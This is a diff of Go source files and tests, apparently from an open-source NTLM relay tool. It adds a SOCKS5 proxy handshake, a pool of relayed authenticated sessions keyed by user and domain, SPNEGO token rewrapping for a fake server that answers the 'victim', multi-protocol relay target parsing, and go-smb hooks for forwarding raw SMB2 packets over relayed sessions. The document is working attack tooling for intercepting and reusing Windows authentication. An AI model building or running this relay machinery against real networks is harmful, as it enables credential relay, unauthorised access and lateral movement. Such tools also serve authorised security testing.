// Read method selection.
buf := make([]byte, 2)
_, _ = client.Read(buf)
// CONNECT example.com:445 by domain.
host := "example.com"
req := []byte{0x05, 0x01, 0x00, 0x03, byte(len(host))}
req = append(req, []byte(host)...)
req = append(req, 0x01, 0xbd) // 445
client.Write(req)
}()
// socks5Handshake reads from the server side of the pipe.
target, err := socks5Handshake(server)
if err != nil {
t.Fatalf("handshake: %v", err)
}
want := "example.com:445"
if target != want {
t.Errorf("target=%q want %q", target, want)
}
}
// TestSocks5HandshakeIPv4 covers the IPv4 ATYP path.
func TestSocks5HandshakeIPv4(t *testing.T) {
server, client := net.Pipe()
defer server.Close()
defer client.Close()
go func() {
client.Write([]byte{0x05, 0x01, 0x00})
buf := make([]byte, 2)
_, _ = client.Read(buf)
req := []byte{0x05, 0x01, 0x00, 0x01, 10, 1, 2, 3, 0x01, 0xbb} // 10.1.2.3:443
client.Write(req)
}()
target, err := socks5Handshake(server)
if err != nil {
t.Fatalf("handshake: %v", err)
}
if target != "10.1.2.3:443" {
t.Errorf("target=%q want 10.1.2.3:443", target)
}
}
// TestSocks5HandshakeRejectsNonNoAuth checks that a client that doesn't offer
// no-auth gets a 0xff method-selection rejection.
func TestSocks5HandshakeRejectsNonNoAuth(t *testing.T) {
server, client := net.Pipe()
defer server.Close()
defer client.Close()
got := make(chan []byte, 1)
go func() {
// Offer only 0x02 (user/pass).
client.Write([]byte{0x05, 0x01, 0x02})
buf := make([]byte, 2)
n, _ := client.Read(buf)
got <- buf[:n]
}()
_, err := socks5Handshake(server)
if err == nil {
t.Fatalf("handshake unexpectedly succeeded")
}
select {
case b := <-got:
if len(b) != 2 || b[0] != 0x05 || b[1] != 0xff {
t.Errorf("expected [05 ff], got % x", b)
}
case <-time.After(time.Second):
t.Fatalf("client did not see method-selection reply")
}
}
// TestPoolRoundRobin exercises the RoundRobin selector across two targets.
func TestPoolRoundRobin(t *testing.T) {
rr := RoundRobin()
targets := []Target{
{Protocol: ProtoSMB, Host: "a:1"},
{Protocol: ProtoSMB, Host: "b:2"},
}
got := []string{}
for i := 0; i < 4; i++ {
got = append(got, rr(targets, nil, nil).Host)
}
want := []string{"a:1", "b:2", "a:1", "b:2"}
for i := range got {
if got[i] != want[i] {
t.Errorf("rr[%d]=%q want %q", i, got[i], want[i])
}
}
}
// TestParseAuthUser exercises the user-spec parser used by FindMatches.
func TestParseAuthUser(t *testing.T) {
cases := []struct {
in string
domain, user string
}{
{"", "", ""},
{"alice", "", "alice"},
{"CONTOSO\\alice", "CONTOSO", "alice"},
{"CONTOSO/alice", "CONTOSO", "alice"},
{"alice@CONTOSO", "CONTOSO", "alice"},
}
for _, c := range cases {
d, u := parseAuthUser(c.in)
if d != c.domain || u != c.user {
t.Errorf("parseAuthUser(%q) = (%q,%q), want (%q,%q)", c.in, d, u, c.domain, c.user)
}
}
}
// TestFindMatchesFilters validates target/user filtering, case-insensitivity,
// and dead-entry exclusion.
func TestFindMatchesFilters(t *testing.T) {
sp := newSessionPool(0, 0)
mk := func(target, user, domain string) *pooledSession {
ps := &pooledSession{
Target: target,
Cred: &Credential{Username: user, Domain: domain},
Established: time.Now(),
}
sp.Add(ps)
return ps
}
a1 := mk("host:445", "alice", "CONTOSO")
mk("host:445", "bob", "CONTOSO")
mk("other:445", "alice", "CONTOSO")
dead := mk("host:445", "alice", "CONTOSO")
dead.MarkDead()
if got := len(sp.FindMatches("host:445", "")); got != 2 {
t.Errorf("no user filter: got %d matches, want 2 (live alice + bob)", got)
}
if got := sp.FindMatches("host:445", "alice"); len(got) != 1 || got[0] != a1 {
t.Errorf("user=alice: got %v, want [a1]", got)
}
if got := sp.FindMatches("host:445", "ALICE"); len(got) != 1 || got[0] != a1 {
t.Errorf("case-insensitive: got %d matches", len(got))
}
if got := sp.FindMatches("host:445", "CONTOSO\\alice"); len(got) != 1 || got[0] != a1 {
t.Errorf("domain\\\\user: got %v", got)
}
if got := sp.FindMatches("host:445", "alice@CONTOSO"); len(got) != 1 || got[0] != a1 {
t.Errorf("UPN form: got %v", got)
}
if got := sp.FindMatches("host:445", "OTHER\\alice"); len(got) != 0 {
t.Errorf("wrong domain: got %d matches, want 0", len(got))
}
if got := sp.FindMatches("host:445", "nobody"); len(got) != 0 {
t.Errorf("unknown user: got %d matches, want 0", len(got))
}
}
// TestPoolFirstAvailable picks the first non-dead candidate.
func TestPoolFirstAvailable(t *testing.T) {
sel := PoolFirstAvailable()
a := &pooledSession{Target: "x"}
b := &pooledSession{Target: "x"}
if got := sel([]*pooledSession{a, b}, nil); got != a {
t.Errorf("expected first candidate, got %v", got)
}
a.MarkDead()
if got := sel([]*pooledSession{a, b}, nil); got != b {
t.Errorf("dead first: expected b, got %v", got)
}
b.MarkDead()
if got := sel([]*pooledSession{a, b}, nil); got != nil {
t.Errorf("all dead: expected nil")
}
}
// TestPoolSessionRoundRobin distributes selections across candidates and
// skips dead. Named to disambiguate from the target-selector RoundRobin test.
func TestPoolSessionRoundRobin(t *testing.T) {
sel := PoolRoundRobin()
a := &pooledSession{Target: "x"}
b := &pooledSession{Target: "x"}
picks := map[*pooledSession]int{}
for i := 0; i < 6; i++ {
picks[sel([]*pooledSession{a, b}, nil)]++
}
if picks[a] == 0 || picks[b] == 0 {
t.Errorf("round-robin failed to spread: a=%d b=%d", picks[a], picks[b])
}
a.MarkDead()
for i := 0; i < 4; i++ {
if p := sel([]*pooledSession{a, b}, nil); p != b {
t.Errorf("a dead: expected b, got %v", p)
}
}
}
// TestPoolMostRecent picks the candidate with the newest Established time.
func TestPoolMostRecent(t *testing.T) {
sel := PoolMostRecent()
now := time.Now()
old := &pooledSession{Target: "x", Established: now.Add(-time.Hour)}
mid := &pooledSession{Target: "x", Established: now.Add(-time.Minute)}
newest := &pooledSession{Target: "x", Established: now}
if got := sel([]*pooledSession{old, mid, newest}, nil); got != newest {
t.Errorf("most-recent: got %v want newest", got)
}
newest.MarkDead()
if got := sel([]*pooledSession{old, mid, newest}, nil); got != mid {
t.Errorf("newest dead: expected mid, got %v", got)
}
}
// TestResolveUpstreamSkipsDeadOnHealthCheck verifies the
// HealthCheckOnSelect path: if the first chosen pool entry is dead, the
// resolver retries against the remaining candidates. We don't run the actual
// SMB Echo here — we pre-mark the first candidate dead, which simulates a
// health-check failure outcome on the next iteration.
func TestResolveUpstreamSkipsDeadOnHealthCheck(t *testing.T) {
rs := &RelayServer{
Config: ServerConfig{
SelectPoolEntry: PoolFirstAvailable(),
HealthCheckOnSelect: false, // health check off; rely on dead flag
},
}
rs.pool = newSessionPool(0, 0)
a := &pooledSession{Target: "x:1", Cred: &Credential{Username: "u", Domain: "D"}, Established: time.Now()}
b := &pooledSession{Target: "x:1", Cred: &Credential{Username: "u", Domain: "D"}, Established: time.Now()}
rs.pool.Add(a)
rs.pool.Add(b)
resolver := rs.resolveUpstream(nil)
if got := resolver("x:1", "D", "u"); got != a {
t.Fatalf("initial pick: got %v want a", got)
}
a.MarkDead()
if got := resolver("x:1", "D", "u"); got != b {
t.Fatalf("after a marked dead: got %v want b", got)
}
b.MarkDead()
if got := resolver("x:1", "D", "u"); got != nil {
t.Fatalf("all dead: expected nil, got %v", got)
}
}
// TestPoolStickyByRemote ensures the same remote always lands on the same
// target.
func TestPoolStickyByRemote(t *testing.T) {
s := StickyByRemote()
targets := []Target{
{Protocol: ProtoSMB, Host: "a:1"},
{Protocol: ProtoSMB, Host: "b:2"},
{Protocol: ProtoSMB, Host: "c:3"},
}
addrA := &net.TCPAddr{IP: net.ParseIP("10.0.0.1"), Port: 1234}
addrB := &net.TCPAddr{IP: net.ParseIP("10.0.0.2"), Port: 5678}
a1 := s(targets, addrA, nil)
a2 := s(targets, addrA, nil)
if a1 != a2 {
t.Errorf("sticky returned different targets for same remote: %v vs %v", a1, a2)
}
b1 := s(targets, addrB, nil)
if a1 == b1 {
t.Logf("warning: different remotes hashed to same target %v (acceptable)", a1)
}
}
+103
View File
@@ -0,0 +1,103 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
package relay
import (
"fmt"
"github.com/jfjallid/gofork/encoding/asn1"
"github.com/jfjallid/go-smb/gss"
"github.com/jfjallid/go-smb/smb/encoder"
)
// unwrapNegInit peels the inner NTLMSSP token out of an inbound SPNEGO
// NegTokenInit blob. Returns the inner MechToken and the parsed envelope (so
// callers may inspect MechTypes / MechTokenMIC).
func unwrapNegInit(blob []byte) (*gss.NegTokenInit, error) {
if len(blob) == 0 || blob[0] != 0x60 {
return nil, fmt.Errorf("not a NegTokenInit")
}
var init gss.NegTokenInit
if err := encoder.Unmarshal(blob, &init); err != nil {
return nil, fmt.Errorf("decode NegTokenInit: %w", err)
}
if len(init.Data.MechToken) == 0 {
return nil, fmt.Errorf("NegTokenInit has empty MechToken")
}
return &init, nil
}
// unwrapNegResp peels the inner NTLMSSP token out of an inbound SPNEGO
// NegTokenResp blob. Returns the parsed response so callers may inspect
// MechListMIC / State as well as the ResponseToken.
func unwrapNegResp(blob []byte) (*gss.NegTokenResp, error) {
if len(blob) == 0 || blob[0] != 0xa1 {
return nil, fmt.Errorf("not a NegTokenResp")
}
var resp gss.NegTokenResp
if err := encoder.Unmarshal(blob, &resp); err != nil {
return nil, fmt.Errorf("decode NegTokenResp: %w", err)
}
if len(resp.ResponseToken) == 0 {
return nil, fmt.Errorf("NegTokenResp has empty ResponseToken")
}
return &resp, nil
}
// wrapNegRespAcceptIncomplete wraps a raw NTLMSSP token (typically a CHALLENGE)
// into a SPNEGO NegTokenResp with State=accept-incomplete, MechType=NTLMSSP.
// Used by the SMB listener to hand a forwarder-supplied CHALLENGE back to the
// inbound client.
func wrapNegRespAcceptIncomplete(token []byte) ([]byte, error) {
out := gss.NegTokenResp{
State: asn1.Enumerated(gss.GssStateAcceptIncomplete),
SupportedMech: gss.NtLmSSPMechTypeOid,
ResponseToken: token,
}
return encoder.Marshal(&out)
}
// wrapNegRespAuth wraps a raw NTLMSSP AUTHENTICATE token plus an optional
// MechListMIC into a SPNEGO NegTokenResp. State is omitted (the SMB client
// does not include a state on leg 2). Used by the SMB forwarder to re-wrap
// leg-2 bytes for the upstream's SendSessionSetup2WithBlob.
func wrapNegRespAuth(token, mic []byte) ([]byte, error) {
out := gss.NegTokenResp{
ResponseToken: token,
MechListMIC: mic,
}
return encoder.Marshal(&out)
}
// wrapNegRespAcceptCompleted produces a SPNEGO NegTokenResp with
// State=accept-completed, no SupportedMech, no ResponseToken, and an
// optional MechListMIC. Used by the fake-server handoff to answer the
// victim's SessionSetup2 leg with a successful SPNEGO completion.
func wrapNegRespAcceptCompleted(mic []byte) ([]byte, error) {
out := gss.NegTokenResp{
State: asn1.Enumerated(gss.GssStateAcceptCompleted),
MechListMIC: mic,
}
return encoder.Marshal(&out)
}
+197
View File
@@ -0,0 +1,197 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
package relay
import (
"fmt"
"net"
"net/url"
"strconv"
"strings"
)
// Protocol identifies the upstream wire protocol carried by a Target.
type Protocol string
const (
ProtoSMB Protocol = "smb"
ProtoHTTP Protocol = "http"
ProtoHTTPS Protocol = "https"
ProtoLDAP Protocol = "ldap"
ProtoLDAPS Protocol = "ldaps"
)
// Target is a parsed upstream destination. Targets are configured via
// scheme-prefixed strings (smb://, http://, https://) and dispatched to one of
// the inbound listeners based on Protocol.
type Target struct {
Raw string
Protocol Protocol
Host string // canonical "host:port" — also the pool key
TLS bool // https only
Path string // http/https only; defaults to "/"
}
// Key returns the pool key for this target — the canonical "host:port" string.
// SMB and HTTP entries sharing a host:port share a pool key; IsHTTP() on
// pooledSession discriminates retrieval.
func (t Target) Key() string { return t.Host }
// IsHTTP reports whether the target speaks HTTP/HTTPS.
func (t Target) IsHTTP() bool { return t.Protocol == ProtoHTTP || t.Protocol == ProtoHTTPS }
// IsLDAP reports whether the target speaks LDAP/LDAPS.
func (t Target) IsLDAP() bool { return t.Protocol == ProtoLDAP || t.Protocol == ProtoLDAPS }
// String renders the target back to its canonical scheme-prefixed form.
func (t Target) String() string {
switch t.Protocol {
case ProtoSMB:
return "smb://" + t.Host
case ProtoHTTP:
return "http://" + t.Host + t.Path
case ProtoHTTPS:
return "https://" + t.Host + t.Path
case ProtoLDAP:
return "ldap://" + t.Host
case ProtoLDAPS:
return "ldaps://" + t.Host
}
return t.Raw
}
// ParseTarget normalizes a configured target string into a Target. Accepted
// forms:
// - "smb://host[:port]" (port defaults to 445)
// - "http://host[:port][/path]" (port defaults to 80, path defaults to "/")
// - "https://host[:port][/path]" (port defaults to 443, path defaults to "/")
// - "ldap://host[:port]" (port defaults to 389)
// - "ldaps://host[:port]" (port defaults to 636, TLS)
//
// Bare "host:port" (no scheme) is rejected with a descriptive error pointing
// callers at the scheme requirement.
func ParseTarget(s string) (Target, error) {
if s == "" {
return Target{}, fmt.Errorf("empty target")
}
if !strings.Contains(s, "://") {
return Target{}, fmt.Errorf("target %q requires scheme prefix (smb://, http://, or https://)", s)
}
u, err := url.Parse(s)
if err != nil {
return Target{}, fmt.Errorf("parse target %q: %w", s, err)
}
t := Target{Raw: s}
switch strings.ToLower(u.Scheme) {
case "smb":
t.Protocol = ProtoSMB
case "http":
t.Protocol = ProtoHTTP
case "https":
t.Protocol = ProtoHTTPS
t.TLS = true
case "ldap":
t.Protocol = ProtoLDAP
case "ldaps":
t.Protocol = ProtoLDAPS
t.TLS = true
default:
return Target{}, fmt.Errorf("parse target %q: unsupported scheme %q", s, u.Scheme)
}
host := u.Host
if host == "" {
return Target{}, fmt.Errorf("parse target %q: empty host", s)
}
if _, portStr, err := net.SplitHostPort(host); err != nil {
// No port — apply scheme default.
switch t.Protocol {
case ProtoSMB:
host += ":445"
case ProtoHTTP:
host += ":80"
case ProtoHTTPS:
host += ":443"
case ProtoLDAP:
host += ":389"
case ProtoLDAPS:
host += ":636"
}
} else {
// Reject 0 and out-of-range ports up front so a typo doesn't
// surface as a confusing "connection refused" later.
p, perr := strconv.Atoi(portStr)
if perr != nil || p < 1 || p > 65535 {
return Target{}, fmt.Errorf("parse target %q: invalid port %q (want 1-65535)", s, portStr)
}
}
t.Host = host
if t.IsHTTP() {
t.Path = u.Path
if t.Path == "" {
t.Path = "/"
}
}
return t, nil
}
// ParseTargets parses every entry in raw, returning the slice on success or
// the first parse error.
func ParseTargets(raw []string) ([]Target, error) {
out := make([]Target, 0, len(raw))
for _, s := range raw {
t, err := ParseTarget(s)
if err != nil {
return nil, err
}
out = append(out, t)
}
return out, nil
}
// filterTargets returns a new slice containing only the entries that pass
// keep. Used by the listener wiring helpers to feed each listener's selector
// only protocol-compatible candidates.
func filterTargets(in []Target, keep func(Target) bool) []Target {
out := make([]Target, 0, len(in))
for _, t := range in {
if keep(t) {
out = append(out, t)
}
}
return out
}
// smbAnyTargets returns the SMB-protocol targets parsed from cfg.
func smbAnyTargets(parsed []Target) []Target {
return filterTargets(parsed, func(t Target) bool { return t.Protocol == ProtoSMB })
}
// httpTargets returns the HTTP/HTTPS targets parsed from cfg.
func httpTargets(parsed []Target) []Target {
return filterTargets(parsed, Target.IsHTTP)
}
// ldapTargets returns the LDAP/LDAPS targets parsed from cfg.
func ldapTargets(parsed []Target) []Target {
return filterTargets(parsed, Target.IsLDAP)
}
+129
View File
@@ -0,0 +1,129 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
package relay
import "testing"
func TestParseTarget(t *testing.T) {
cases := []struct {
in string
wantProto Protocol
wantHost string
wantTLS bool
wantPath string
wantErr bool
}{
// SMB
{"smb://host", ProtoSMB, "host:445", false, "", false},
{"smb://host:1445", ProtoSMB, "host:1445", false, "", false},
// HTTP
{"http://host", ProtoHTTP, "host:80", false, "/", false},
{"http://host:8080", ProtoHTTP, "host:8080", false, "/", false},
{"http://host:8080/api", ProtoHTTP, "host:8080", false, "/api", false},
// HTTPS
{"https://host", ProtoHTTPS, "host:443", true, "/", false},
{"https://host:8443/admin", ProtoHTTPS, "host:8443", true, "/admin", false},
// LDAP
{"ldap://host", ProtoLDAP, "host:389", false, "", false},
{"ldap://host:3389", ProtoLDAP, "host:3389", false, "", false},
// LDAPS
{"ldaps://host", ProtoLDAPS, "host:636", true, "", false},
{"ldaps://host:3636", ProtoLDAPS, "host:3636", true, "", false},
// Mixed-case scheme is accepted (URL scheme is case-insensitive per RFC 3986)
{"SMB://host", ProtoSMB, "host:445", false, "", false},
{"HTTPS://host:8443/x", ProtoHTTPS, "host:8443", true, "/x", false},
// Rejections
{"host:445", "", "", false, "", true}, // bare host:port
{"", "", "", false, "", true}, // empty
{"ftp://host:21", "", "", false, "", true}, // unsupported scheme
{"smb://", "", "", false, "", true}, // missing host
{"://host", "", "", false, "", true}, // empty scheme
{"smb://host:0", "", "", false, "", true}, // port = 0
{"smb://host:65536", "", "", false, "", true}, // port > 65535
{"smb://host:99999", "", "", false, "", true}, // 5-digit garbage
{"smb://host:abc", "", "", false, "", true}, // non-numeric port (caught by url.Parse)
}
for _, tc := range cases {
got, err := ParseTarget(tc.in)
if tc.wantErr {
if err == nil {
t.Errorf("ParseTarget(%q) wanted error, got %+v", tc.in, got)
}
continue
}
if err != nil {
t.Errorf("ParseTarget(%q) unexpected err: %v", tc.in, err)
continue
}
if got.Protocol != tc.wantProto || got.Host != tc.wantHost || got.TLS != tc.wantTLS || got.Path != tc.wantPath {
t.Errorf("ParseTarget(%q) = %+v, want proto=%s host=%s tls=%v path=%s",
tc.in, got, tc.wantProto, tc.wantHost, tc.wantTLS, tc.wantPath)
}
}
}
func TestParseTargetsMixed(t *testing.T) {
in := []string{
"smb://10.0.0.1",
"http://app01:8080/auth",
"https://app02/login",
}
got, err := ParseTargets(in)
if err != nil {
t.Fatalf("ParseTargets: %v", err)
}
if len(got) != 3 {
t.Fatalf("len=%d want 3", len(got))
}
if got[0].Protocol != ProtoSMB || got[0].Host != "10.0.0.1:445" {
t.Errorf("smb entry = %+v", got[0])
}
if got[1].Protocol != ProtoHTTP || got[1].Host != "app01:8080" || got[1].Path != "/auth" {
t.Errorf("http entry = %+v", got[1])
}
if got[2].Protocol != ProtoHTTPS || !got[2].TLS || got[2].Host != "app02:443" || got[2].Path != "/login" {
t.Errorf("https entry = %+v", got[2])
}
}
func TestTargetFilters(t *testing.T) {
all := []Target{
{Protocol: ProtoSMB, Host: "a:445"},
{Protocol: ProtoHTTP, Host: "b:80"},
{Protocol: ProtoHTTPS, Host: "c:443"},
{Protocol: ProtoLDAP, Host: "d:389"},
{Protocol: ProtoLDAPS, Host: "e:636"},
}
if got := smbAnyTargets(all); len(got) != 1 || got[0].Host != "a:445" {
t.Errorf("smbAnyTargets = %+v", got)
}
if got := httpTargets(all); len(got) != 2 {
t.Errorf("httpTargets len=%d want 2", len(got))
}
if got := ldapTargets(all); len(got) != 2 {
t.Errorf("ldapTargets len=%d want 2", len(got))
}
}
func TestParseTargetErrorMentionsSchemeRequirement(t *testing.T) {
_, err := ParseTarget("10.0.0.1:445")
if err == nil {
t.Fatal("expected error")
}
// Error should hint that scheme is required so users migrating from the
// old config style get a useful diagnostic.
if msg := err.Error(); msg == "" || !contains(msg, "scheme") {
t.Errorf("error %q does not mention scheme", msg)
}
}
func contains(haystack, needle string) bool {
for i := 0; i+len(needle) <= len(haystack); i++ {
if haystack[i:i+len(needle)] == needle {
return true
}
}
return false
}
+80
View File
@@ -89,6 +89,19 @@ func (c *Connection) disableSession() {
atomic.StoreInt32(&c._useSession, 0)
}
// MarkAuthenticated promotes a manually-driven SessionSetup to authenticated
// state on this Connection. Intended for relay flows that drive
// SendSessionSetup{1,2}WithToken/Blob themselves: after a successful upstream
// SessionSetup2 the connection holds the negotiated SessionID, but the
// in-process flags (isAuthenticated, authUsername, useSession) are unset
// because the relay drove the exchange directly. Calling this finishes the
// promotion so subsequent TreeConnect / OpenFile calls work normally.
func (c *Connection) MarkAuthenticated(authUsername string) {
c.authUsername = authUsername
c.isAuthenticated = true
c.enableSession()
}
// Update the Initiator used for authentication.
// Calling this function when already logged in will kill the existing session.
func (c *Connection) SetInitiator(initiator gss.Mechanism) error {
@@ -517,6 +530,73 @@ func (c *Connection) sendrecv(req interface{}) (buf []byte, err error) {
return c.recv(rr)
}
// SendRawPDU forwards an opaque SMB2 PDU (header + body) on this Connection
// and blocks for the reply. The MessageID in the header is rewritten to this
// Connection's next outbound id; signing / encryption are applied per the
// connection's negotiated state. Intended for relay / passthrough use cases
// (e.g. the SMB SOCKS proxy in relay/) where a PDU produced for one
// connection must be forwarded over another. The caller owns translation of
// any TreeID/FileID fields embedded in the body before/after this call.
//
// pdu must begin with the 4-byte SMB2 protocol id (0xfe S M B); a private
// copy is made so the caller's buffer is left untouched.
func (c *Connection) SendRawPDU(pdu []byte) ([]byte, error) {
if len(pdu) < 64 || string(pdu[0:4]) != ProtocolSmb2 {
return nil, fmt.Errorf("SendRawPDU: not an SMB2 PDU")
}
buf := make([]byte, len(pdu))
copy(buf, pdu)
rr, err := c.sendRawBytes(buf)
if err != nil {
return nil, err
}
return c.recv(rr)
}
// sendRawBytes is the bytes-only twin of send: it skips the encoder.Marshal
// step (caller has already produced the wire bytes) and lets
// makeRequestResponse stamp the MessageID / signature / encryption in place.
func (c *Connection) sendRawBytes(buf []byte) (*requestResponse, error) {
c.m.Lock()
defer c.m.Unlock()
if c.err != nil {
return nil, c.err
}
select {
case <-c.wdone:
return nil, nil
default:
}
rr, err := c.makeRequestResponse(buf)
if err != nil {
return nil, err
}
b := new(bytes.Buffer)
if err = binary.Write(b, binary.BigEndian, uint32(len(rr.pkt))); err != nil {
return nil, err
}
select {
case c.write <- append(b.Bytes(), rr.pkt...):
select {
case err = <-c.werr:
if err != nil {
c.outstandingRequests.pop(rr.msgId)
return nil, err
}
case <-c.wdone:
c.outstandingRequests.pop(rr.msgId)
return nil, nil
}
case <-c.wdone:
c.outstandingRequests.pop(rr.msgId)
return nil, nil
}
return rr, nil
}
func (c *Connection) send(req interface{}) (rr *requestResponse, err error) {
c.m.Lock()